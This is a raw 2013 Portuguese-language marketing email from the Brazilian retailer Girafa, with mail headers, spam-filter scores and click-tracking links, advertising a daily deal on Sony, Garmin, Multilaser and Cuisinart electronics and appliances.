=?ISO-8859-1?Q?Oportunidade_Girafa!_Pre=E7os_irresist=EDveis,_clique_e_encha_o_carrinho.?= MIME-Version: 1.0 X-ASG-Orig-Subj: =?ISO-8859-1?Q?Oportunidade_Girafa!_Pre=E7os_irresist=EDveis,_clique_e_encha_o_carrinho.?= Content-Type: multipart/alternative; boundary="6ba3e4e5ca69b3ac75eaa671c03bae77" Reply-To: "Girafa" List-Unsubscribe: X-Hash: 1636-3270-644384-323ee75bd56647f68b3707d9050d46ad X-DMA: 5265356 Message-ID: <0.2.18B.89D.1CE797C7BEE6560.1A359@vt-0007-107.email.girafa.com.br> Date: Fri, 5 Jul 2013 09:38:05 -0300 X-Barracuda-Connect: vt-0007-107.email.girafa.com.br[187.61.43.107] X-Barracuda-Start-Time: 1373027884 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.65 X-Barracuda-Spam-Status: No, SCORE=0.65 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA085, DKIM_SIGNED, DKIM_VERIFIED, HTML_IMAGE_RATIO_02, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.135877 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.55 HTML_IMAGE_RATIO_02 BODY: HTML has a low ratio of text to image area 0.00 HTML_MESSAGE BODY: HTML included in message 0.10 BSF_SC0_SA085 Custom Rule SA085 --6ba3e4e5ca69b3ac75eaa671c03bae77 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3270,644384,84410,3= 23ee75bd56647f68b3707d9050d46ad,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyLz91dG1fc29= 1cmNlPTA1XzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD= 0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDVfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS= 5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3270,644384,84410,3= 23ee75bd56647f68b3707d9050d46ad,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyLz91dG1fc29= 1cmNlPTA1XzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD= 0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDVfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS= 5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3270,644384,84411,3= 23ee75bd56647f68b3707d9050d46ad,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0NpbmUtRm9= 0by8/dXRtX3NvdXJjZT0wNV8wN18xM19vZmVydGFfZG9fZGlhJnV0bV9tZWRpdW09RW1haWwmdX= RtX2NvbnRlbnQ9JnV0bV9jYW1wYWlnbj1vZmVydGFfZG9fZGlhXzA1XzA3XzEzJnV0bV90ZXJtP= Q=3D=3D,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3270,644384,84412,3= 23ee75bd56647f68b3707d9050d46ad,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0VsZXRyb25= pY29zLz91dG1fc291cmNlPTA1XzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbC= Z1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDVfMDdfMTMmdXRtX3Rlc= m09,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3270,644384,84413,3= 23ee75bd56647f68b3707d9050d46ad,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0VsZXRyb3B= vcnRhdGVpcy8/dXRtX3NvdXJjZT0wNV8wN18xM19vZmVydGFfZG9fZGlhJnV0bV9tZWRpdW09RW= 1haWwmdXRtX2NvbnRlbnQ9JnV0bV9jYW1wYWlnbj1vZmVydGFfZG9fZGlhXzA1XzA3XzEzJnV0b= V90ZXJtPQ=3D=3D,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3270,644384,84414,3= 23ee75bd56647f68b3707d9050d46ad,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0VsZXRyb2R= vbWVzdGljb3MvP3V0bV9zb3VyY2U9MDVfMDdfMTNfb2ZlcnRhX2RvX2RpYSZ1dG1fbWVkaXVtPU= VtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ249b2ZlcnRhX2RvX2RpYV8wNV8wN18xMyZ1d= G1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3270,644384,84415,3= 23ee75bd56647f68b3707d9050d46ad,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0dhbWVzLz9= 1dG1fc291cmNlPTA1XzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY2= 9udGVudD0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDVfMDdfMTMmdXRtX3Rlcm09,1,b3= NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3270,644384,84416,3= 23ee75bd56647f68b3707d9050d46ad,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0luZm9ybWF= 0aWNhLz91dG1fc291cmNlPTA1XzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbC= Z1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDVfMDdfMTMmdXRtX3Rlc= m09,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3270,644384,84417,3= 23ee75bd56647f68b3707d9050d46ad,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL1NhdWRlLWU= tYmVsZXphLz91dG1fc291cmNlPTA1XzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbW= FpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDVfMDdfMTMmdXRtX= 3Rlcm09,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3270,644384,84418,3= 23ee75bd56647f68b3707d9050d46ad,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL1RlbGVmb25= pYS8/dXRtX3NvdXJjZT0wNV8wN18xM19vZmVydGFfZG9fZGlhJnV0bV9tZWRpdW09RW1haWwmdX= RtX2NvbnRlbnQ9JnV0bV9jYW1wYWlnbj1vZmVydGFfZG9fZGlhXzA1XzA3XzEzJnV0bV90ZXJtP= Q=3D=3D,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3270,644384,84410,3= 23ee75bd56647f68b3707d9050d46ad,[DMA6_ENCODE_URL]http://www.girafa.com.br/?= utm_source=3D05_07_13_oferta_do_dia&utm_medium=3DEmail&utm_content=3D&utm_c= ampaign=3Doferta_do_dia_05_07_13" /> [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3270,644384,84423,3= 23ee75bd56647f68b3707d9050d46ad,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9vZmVydGE= tZG8tZGlhLzUzMy8xOTM2ND91dG1fc291cmNlPTA1XzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX2= 1lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDVfM= DdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20=3D] [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3270,644384,84424,3= 23ee75bd56647f68b3707d9050d46ad,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9Ib21lLVR= oZWF0ZXIvU29ueS9ob21lLXRoZWF0ZXItc29ueS1iZHYtbjkxMDB3bC04NTB3LTUxLWNhbmFpcy= 11c2ItYmx1LXJheS1wbGF5ZXItM2QtaW50ZWdyYWRvLWhkbWktd2ktZmkuaHRtP3V0bV9zb3VyY= 2U9MDVfMDdfMTNfb2ZlcnRhX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1= dG1fY2FtcGFpZ249b2ZlcnRhX2RvX2RpYV8wNV8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS= 5jb20=3D] [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3270,644384,84425,3= 23ee75bd56647f68b3707d9050d46ad,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9DYW1lcmF= zLURpZ2l0YWlzL1NvbnkvYy1tZXJhLWRpZ2l0YWwtc29ueS1uZXgtZjNiLXByYXRhLTE2MS1tcC= 1sY2QtMzAtZnVsbC1oZC1wYW5vci1taWNhLTNkLmh0bT91dG1fc291cmNlPTA1XzA3XzEzX29mZ= XJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPW9m= ZXJ0YV9kb19kaWFfMDVfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20=3D] BDV-N9100WL [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3270,644384,84424,3= 23ee75bd56647f68b3707d9050d46ad,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9Ib21lLVR= oZWF0ZXIvU29ueS9ob21lLXRoZWF0ZXItc29ueS1iZHYtbjkxMDB3bC04NTB3LTUxLWNhbmFpcy= 11c2ItYmx1LXJheS1wbGF5ZXItM2QtaW50ZWdyYWRvLWhkbWktd2ktZmkuaHRtP3V0bV9zb3VyY= 2U9MDVfMDdfMTNfb2ZlcnRhX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1= dG1fY2FtcGFpZ249b2ZlcnRhX2RvX2RpYV8wNV8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS= 5jb20=3D] NEX-F3S [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3270,644384,84425,3= 23ee75bd56647f68b3707d9050d46ad,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9DYW1lcmF= zLURpZ2l0YWlzL1NvbnkvYy1tZXJhLWRpZ2l0YWwtc29ueS1uZXgtZjNiLXByYXRhLTE2MS1tcC= 1sY2QtMzAtZnVsbC1oZC1wYW5vci1taWNhLTNkLmh0bT91dG1fc291cmNlPTA1XzA3XzEzX29mZ= XJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPW9m= ZXJ0YV9kb19kaWFfMDVfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20=3D] Home Theater Sony [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3270,644384,84424,3= 23ee75bd56647f68b3707d9050d46ad,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9Ib21lLVR= oZWF0ZXIvU29ueS9ob21lLXRoZWF0ZXItc29ueS1iZHYtbjkxMDB3bC04NTB3LTUxLWNhbmFpcy= 11c2ItYmx1LXJheS1wbGF5ZXItM2QtaW50ZWdyYWRvLWhkbWktd2ktZmkuaHRtP3V0bV9zb3VyY= 2U9MDVfMDdfMTNfb2ZlcnRhX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1= dG1fY2FtcGFpZ249b2ZlcnRhX2RvX2RpYV8wNV8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS= 5jb20=3D] Cmera Digital Sony [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3270,644384,84425,3= 23ee75bd56647f68b3707d9050d46ad,[DMA6_ENCODE_URL]https://www.girafa.com.br/= Cameras-Digitais/Sony/c-mera-digital-sony-nex-f3b-prata-161-mp-lcd-30-full-= hd-panor-mica-3d.htm?utm_source=3D05_07_13_oferta_do_dia&utm_medium=3DEmail= &utm_content=3D&utm_campaign=3Doferta_do_dia_05_07_13 border-left:1px solid #f4ac1c; border-bottom:1px solid #f4ac1c; width:292px; padding:10px 0px 0px 0px;"> * 850W * 5.1 Canais * USB * Blu-ray 3D 2.639,12 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3270,644384,84424,3= 23ee75bd56647f68b3707d9050d46ad,[DMA6_ENCODE_URL]https://www.girafa.com.br/= Home-Theater/Sony/home-theater-sony-bdv-n9100wl-850w-51-canais-usb-blu-ray-= player-3d-integrado-hdmi-wi-fi.htm?utm_source=3D05_07_13_oferta_do_dia&utm_= medium=3DEmail&utm_content=3D&utm_campaign=3Doferta_do_dia_05_07_13 margin: 0;padding: 0; border: 0; ">=C0 vista no boleto [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3270,644384,84424,3= 23ee75bd56647f68b3707d9050d46ad,[DMA6_ENCODE_URL]https://www.girafa.com.br/= Home-Theater/Sony/home-theater-sony-bdv-n9100wl-850w-51-canais-usb-blu-ray-= player-3d-integrado-hdmi-wi-fi.htm?utm_source=3D05_07_13_oferta_do_dia&utm_= medium=3DEmail&utm_content=3D&utm_campaign=3Doferta_do_dia_05_07_13font-wei= ght: bold; margin: 0px 0px 0px 0px; border: 0;">12x no cart=E3o [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3270,644384,84424,3= 23ee75bd56647f68b3707d9050d46ad,[DMA6_ENCODE_URL]https://www.girafa.com.br/= Home-Theater/Sony/home-theater-sony-bdv-n9100wl-850w-51-canais-usb-blu-ray-= player-3d-integrado-hdmi-wi-fi.htm?utm_source=3D05_07_13_oferta_do_dia&utm_= medium=3DEmail&utm_content=3D&utm_campaign=3Doferta_do_dia_05_07_13 height:50px; border-left:1px solid #f4ac1c; border-bottom:1px solid #f4ac1c; width:292px; padding:10px 0px 0px 0px;"> * 16.1MP * LCD 3.0" * Full HD * Panormica 3D 1.319,12 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3270,644384,84425,3= 23ee75bd56647f68b3707d9050d46ad,[DMA6_ENCODE_URL]https://www.girafa.com.br/= Cameras-Digitais/Sony/c-mera-digital-sony-nex-f3b-prata-161-mp-lcd-30-full-= hd-panor-mica-3d.htm?utm_source=3D05_07_13_oferta_do_dia&utm_medium=3DEmail= &utm_content=3D&utm_campaign=3Doferta_do_dia_05_07_13 margin: 0;padding: 0; border: 0; ">=C0 vista no boleto [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3270,644384,84425,3= 23ee75bd56647f68b3707d9050d46ad,[DMA6_ENCODE_URL]https://www.girafa.com.br/= Cameras-Digitais/Sony/c-mera-digital-sony-nex-f3b-prata-161-mp-lcd-30-full-= hd-panor-mica-3d.htm?utm_source=3D05_07_13_oferta_do_dia&utm_medium=3DEmail= &utm_content=3D&utm_campaign=3Doferta_do_dia_05_07_13 font-weight: bold; margin:0; border: 0;">12x no cart=E3o [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3270,644384,84425,3= 23ee75bd56647f68b3707d9050d46ad,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9DYW1lcmF= zLURpZ2l0YWlzL1NvbnkvYy1tZXJhLWRpZ2l0YWwtc29ueS1uZXgtZjNiLXByYXRhLTE2MS1tcC= 1sY2QtMzAtZnVsbC1oZC1wYW5vci1taWNhLTNkLmh0bT91dG1fc291cmNlPTA1XzA3XzEzX29mZ= XJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPW9m= ZXJ0YV9kb19kaWFfMDVfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20=3D] [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3270,644384,84426,3= 23ee75bd56647f68b3707d9050d46ad,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9tb25pdG9= yZXMtY2FyZGlhY29zL0dhcm1pbi9yZWwtZ2lvLWRlLWNvcnJpZGEtZm9yZXJ1bm5lci02MTAtdm= lydHVhbC1wYXJ0bmVyLWdwcy1wcmV0by5odG0/dXRtX3NvdXJjZT0wNV8wN18xM19vZmVydGFfZ= G9fZGlhJnV0bV9tZWRpdW09RW1haWwmdXRtX2NvbnRlbnQ9JnV0bV9jYW1wYWlnbj1vZmVydGFf= ZG9fZGlhXzA1XzA3XzEzJnV0bV90ZXJtPQ=3D=3D,1,b3NzLnNnaS5jb20=3D] [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3270,644384,84427,3= 23ee75bd56647f68b3707d9050d46ad,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9wZXNxdWl= zYS8/cT1NNSZtYXJjYXM9TXVsdGlsYXNlciZzdWJncnVwb3M9JnV0bV9zb3VyY2U9MDVfMDdfMT= Nfb2ZlcnRhX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ= 249b2ZlcnRhX2RvX2RpYV8wNV8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] Forerunner610 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3270,644384,84426,3= 23ee75bd56647f68b3707d9050d46ad,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9tb25pdG9= yZXMtY2FyZGlhY29zL0dhcm1pbi9yZWwtZ2lvLWRlLWNvcnJpZGEtZm9yZXJ1bm5lci02MTAtdm= lydHVhbC1wYXJ0bmVyLWdwcy1wcmV0by5odG0/dXRtX3NvdXJjZT0wNV8wN18xM19vZmVydGFfZ= G9fZGlhJnV0bV9tZWRpdW09RW1haWwmdXRtX2NvbnRlbnQ9JnV0bV9jYW1wYWlnbj1vZmVydGFf= ZG9fZGlhXzA1XzA3XzEzJnV0bV90ZXJtPQ=3D=3D,1,b3NzLnNnaS5jb20=3D] NB049 / NB050 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3270,644384,84427,3= 23ee75bd56647f68b3707d9050d46ad,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9wZXNxdWl= zYS8/cT1NNSZtYXJjYXM9TXVsdGlsYXNlciZzdWJncnVwb3M9JnV0bV9zb3VyY2U9MDVfMDdfMT= Nfb2ZlcnRhX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ= 249b2ZlcnRhX2RvX2RpYV8wNV8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] Rel=F3gio de Corrida Garmin [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3270,644384,84426,3= 23ee75bd56647f68b3707d9050d46ad,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9tb25pdG9= yZXMtY2FyZGlhY29zL0dhcm1pbi9yZWwtZ2lvLWRlLWNvcnJpZGEtZm9yZXJ1bm5lci02MTAtdm= lydHVhbC1wYXJ0bmVyLWdwcy1wcmV0by5odG0/dXRtX3NvdXJjZT0wNV8wN18xM19vZmVydGFfZ= G9fZGlhJnV0bV9tZWRpdW09RW1haWwmdXRtX2NvbnRlbnQ9JnV0bV9jYW1wYWlnbj1vZmVydGFf= ZG9fZGlhXzA1XzA3XzEzJnV0bV90ZXJtPQ=3D=3D,1,b3NzLnNnaS5jb20=3D] Tablet Smart Phone M5 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3270,644384,84427,3= 23ee75bd56647f68b3707d9050d46ad,[DMA6_ENCODE_URL]https://www.girafa.com.br/= pesquisa/?q=3DM5&marcas=3DMultilaser&subgrupos=3D&utm_source=3D05_07_13_ofe= rta_do_dia&utm_medium=3DEmail&utm_content=3D&utm_campaign=3Doferta_do_dia_0= 5_07_13 border-bottom:1px solid #f4ac1c; border-left:1px solid #f4ac1c; width:292px; padding:10px 0px 0px 0px;"> * Touch Screen * Virtual Partner * GPS 1.274,15 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3270,644384,84426,3= 23ee75bd56647f68b3707d9050d46ad,[DMA6_ENCODE_URL]https://www.girafa.com.br/= monitores-cardiacos/Garmin/rel-gio-de-corrida-forerunner-610-virtual-partne= r-gps-preto.htm?utm_source=3D05_07_13_oferta_do_dia&utm_medium=3DEmail&utm_= content=3D&utm_campaign=3Doferta_do_dia_05_07_13 margin: 0;padding: 0; border: 0; ">=C0 vista no boleto [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3270,644384,84426,3= 23ee75bd56647f68b3707d9050d46ad,[DMA6_ENCODE_URL]https://www.girafa.com.br/= monitores-cardiacos/Garmin/rel-gio-de-corrida-forerunner-610-virtual-partne= r-gps-preto.htm?utm_source=3D05_07_13_oferta_do_dia&utm_medium=3DEmail&utm_= content=3D&utm_campaign=3Doferta_do_dia_05_07_13font-weight: bold; margin: 0px 0px 0px 0px; border: 0;">12x no cart=E3o [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3270,644384,84426,3= 23ee75bd56647f68b3707d9050d46ad,[DMA6_ENCODE_URL]https://www.girafa.com.br/= monitores-cardiacos/Garmin/rel-gio-de-corrida-forerunner-610-virtual-partne= r-gps-preto.htm?utm_source=3D05_07_13_oferta_do_dia&utm_medium=3DEmail&utm_= content=3D&utm_campaign=3Doferta_do_dia_05_07_13 height:50px; border-left:1px solid #f4ac1c;border-bottom:1px solid #f4ac1c; width:292px; padding:10px 0px 0px 0px;"> * Android 4.1 * Dual Chip * LCD 5" * 4GB 703,12 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3270,644384,84427,3= 23ee75bd56647f68b3707d9050d46ad,[DMA6_ENCODE_URL]https://www.girafa.com.br/= pesquisa/?q=3DM5&marcas=3DMultilaser&subgrupos=3D&utm_source=3D05_07_13_ofe= rta_do_dia&utm_medium=3DEmail&utm_content=3D&utm_campaign=3Doferta_do_dia_0= 5_07_13 margin: 0;padding: 0; border: 0; ">=C0 vista no boleto [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3270,644384,84427,3= 23ee75bd56647f68b3707d9050d46ad,[DMA6_ENCODE_URL]https://www.girafa.com.br/= pesquisa/?q=3DM5&marcas=3DMultilaser&subgrupos=3D&utm_source=3D05_07_13_ofe= rta_do_dia&utm_medium=3DEmail&utm_content=3D&utm_campaign=3Doferta_do_dia_0= 5_07_13font-weight: bold; margin:0; border: 0;">12x no cart=E3o [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3270,644384,84427,3= 23ee75bd56647f68b3707d9050d46ad,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9wZXNxdWl= zYS8/cT1NNSZtYXJjYXM9TXVsdGlsYXNlciZzdWJncnVwb3M9JnV0bV9zb3VyY2U9MDVfMDdfMT= Nfb2ZlcnRhX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ= 249b2ZlcnRhX2RvX2RpYV8wNV8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3270,644384,84428,3= 23ee75bd56647f68b3707d9050d46ad,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9kb2NrLXN= 0YXRpb24vU29ueS9zaXN0ZW1hLWRlLXVkaW8tY29tLWRvY2tpbmctc3RhdGlvbi1zb255LXJkcC= 1tN2lwLWJjLTR3LXJtcy1kaW8tcmVsLWdpby1pcG9kLWlwaG9uZS5odG0/dXRtX3NvdXJjZT0wN= V8wN18xM19vZmVydGFfZG9fZGlhJnV0bV9tZWRpdW09RW1haWwmdXRtX2NvbnRlbnQ9JnV0bV9j= YW1wYWlnbj1vZmVydGFfZG9fZGlhXzA1XzA3XzEzJnV0bV90ZXJtPQ=3D=3D,1,b3NzLnNnaS5j= b20=3D] [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3270,644384,84429,3= 23ee75bd56647f68b3707d9050d46ad,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9wZXNxdWl= zYS8/cT1mb25kdWUlMjBlbGV0cmljbyZvcmRlbT1tYWlzLXZpc3VhbGl6YWRvcyZ1dG1fc291cm= NlPTA1XzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0md= XRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDVfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb= 20=3D] RDP-M7IP/BC [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3270,644384,84428,3= 23ee75bd56647f68b3707d9050d46ad,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9kb2NrLXN= 0YXRpb24vU29ueS9zaXN0ZW1hLWRlLXVkaW8tY29tLWRvY2tpbmctc3RhdGlvbi1zb255LXJkcC= 1tN2lwLWJjLTR3LXJtcy1kaW8tcmVsLWdpby1pcG9kLWlwaG9uZS5odG0/dXRtX3NvdXJjZT0wN= V8wN18xM19vZmVydGFfZG9fZGlhJnV0bV9tZWRpdW09RW1haWwmdXRtX2NvbnRlbnQ9JnV0bV9j= YW1wYWlnbj1vZmVydGFfZG9fZGlhXzA1XzA3XzEzJnV0bV90ZXJtPQ=3D=3D,1,b3NzLnNnaS5j= b20=3D] 408127 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3270,644384,84429,3= 23ee75bd56647f68b3707d9050d46ad,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9wZXNxdWl= zYS8/cT1mb25kdWUlMjBlbGV0cmljbyZvcmRlbT1tYWlzLXZpc3VhbGl6YWRvcyZ1dG1fc291cm= NlPTA1XzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0md= XRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDVfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb= 20=3D] Docking Station Sony [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3270,644384,84428,3= 23ee75bd56647f68b3707d9050d46ad,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9kb2NrLXN= 0YXRpb24vU29ueS9zaXN0ZW1hLWRlLXVkaW8tY29tLWRvY2tpbmctc3RhdGlvbi1zb255LXJkcC= 1tN2lwLWJjLTR3LXJtcy1kaW8tcmVsLWdpby1pcG9kLWlwaG9uZS5odG0/dXRtX3NvdXJjZT0wN= V8wN18xM19vZmVydGFfZG9fZGlhJnV0bV9tZWRpdW09RW1haWwmdXRtX2NvbnRlbnQ9JnV0bV9j= YW1wYWlnbj1vZmVydGFfZG9fZGlhXzA1XzA3XzEzJnV0bV90ZXJtPQ=3D=3D,1,b3NzLnNnaS5j= b20=3D] Fondue El=E9trico Cuisinart [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3270,644384,84429,3= 23ee75bd56647f68b3707d9050d46ad,[DMA6_ENCODE_URL]https://www.girafa.com.br/= pesquisa/?q=3Dfondue%20eletrico&ordem=3Dmais-visualizados&utm_source=3D05_0= 7_13_oferta_do_dia&utm_medium=3DEmail&utm_content=3D&utm_campaign=3Doferta_= do_dia_05_07_13 border-bottom:1px solid #f4ac1c; border-left:1px solid #f4ac1c; width:292px; padding:10px 0px 0px 0px;"> * 4W RMS * R=E1dio Rel=F3gio * Para iPod * iPhone 307,12 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3270,644384,84428,3= 23ee75bd56647f68b3707d9050d46ad,[DMA6_ENCODE_URL]https://www.girafa.com.br/= dock-station/Sony/sistema-de-udio-com-docking-station-sony-rdp-m7ip-bc-4w-r= ms-dio-rel-gio-ipod-iphone.htm?utm_source=3D05_07_13_oferta_do_dia&utm_medi= um=3DEmail&utm_content=3D&utm_campaign=3Doferta_do_dia_05_07_13 margin: 0;padding: 0; border: 0; ">=C0 vista no boleto [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3270,644384,84428,3= 23ee75bd56647f68b3707d9050d46ad,[DMA6_ENCODE_URL]https://www.girafa.com.br/= dock-station/Sony/sistema-de-udio-com-docking-station-sony-rdp-m7ip-bc-4w-r= ms-dio-rel-gio-ipod-iphone.htm?utm_source=3D05_07_13_oferta_do_dia&utm_medi= um=3DEmail&utm_content=3D&utm_campaign=3Doferta_do_dia_05_07_13font-weight: bold; margin: 0px 0px 0px 0px; border: 0;">12x no cart=E3o [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3270,644384,84428,3= 23ee75bd56647f68b3707d9050d46ad,[DMA6_ENCODE_URL]https://www.girafa.com.br/= dock-station/Sony/sistema-de-udio-com-docking-station-sony-rdp-m7ip-bc-4w-r= ms-dio-rel-gio-ipod-iphone.htm?utm_source=3D05_07_13_oferta_do_dia&utm_medi= um=3DEmail&utm_content=3D&utm_campaign=3Doferta_do_dia_05_07_13 height:50px; border-left:1px solid 